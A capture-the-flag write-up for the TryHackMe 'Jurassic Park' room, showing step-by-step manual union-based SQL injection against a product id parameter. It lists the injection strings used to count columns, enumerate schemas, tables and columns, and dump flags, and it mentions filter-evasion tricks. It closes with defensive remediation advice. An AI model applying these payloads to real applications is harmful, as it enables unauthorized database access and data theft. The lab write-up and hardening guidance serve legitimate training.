back to writeups

Jurassic Park

TryHackMe · tryhackme.com/room/jurassicpark
Linux Web Hard Manual SQL injection ● Completed
▶ Watch the walkthrough
TL;DR A dinosaur "shop" whose product id parameter is injectable. The challenge is manual union-based SQL injection (no sqlmap) — enumerate the databases and tables, bypass the input filtering, and extract the flags hidden across multiple databases.

01Find the injection point

Browsing a dinosaur sets ?id=. The value is reflected into a SQL query and unsanitised — classic union-based SQLi. First find the column count, then a reflected column to print data into:

?id=1 order by 5-- -            -- find column count
?id=0 union select 1,2,3,4,5-- - -- identify the reflected column(s)

02Enumerate the database

-- current db + version
?id=0 union select 1,database(),version(),4,5-- -
-- databases
?id=0 union select 1,group_concat(schema_name),3,4,5 from information_schema.schemata-- -
-- tables in a target db
?id=0 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema='park'-- -
-- columns
?id=0 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name='users'-- -

03Extract the flags

The flags live in tables across more than one database — walk each schema and dump the relevant columns. Where the app filters certain characters/keywords, bypass with case-mixing, comments, or hex-encoded strings.

?id=0 union select 1,group_concat(flag),3,4,5 from park.flags-- -
flagsTHM{…} — extracted via UNION injection across the app's databases

04Takeaways

◆If this were my environment

The application trusted user input inside database queries and exposed more data than the page required. I would fix the query layer, reduce database privileges and verify the whole application against a repeatable standard.

Priority controls
  • Use prepared statements with bound parameters for every query; never build SQL by concatenating request data.
  • Give the application a dedicated database account with only the required tables and actions, and keep the database off public interfaces.
  • Return generic errors to clients while preserving structured server-side audit logs and alerting on injection patterns.
  • Add SAST, dependency scanning and security tests mapped to OWASP ASVS in the release pipeline.

Hardening guides and benchmarks

These references offer different implementation paths: consensus benchmarks, prescriptive government checklists, vendor baselines and application-security verification requirements. I would select the profile that matches the system's role, document exceptions, test it in staging and continuously measure drift.

Operational note CIS and DISA profiles can affect compatibility. Apply them through version-controlled policy, start in audit mode where supported, test business workloads and record every exception with an owner and review date.

back to writeups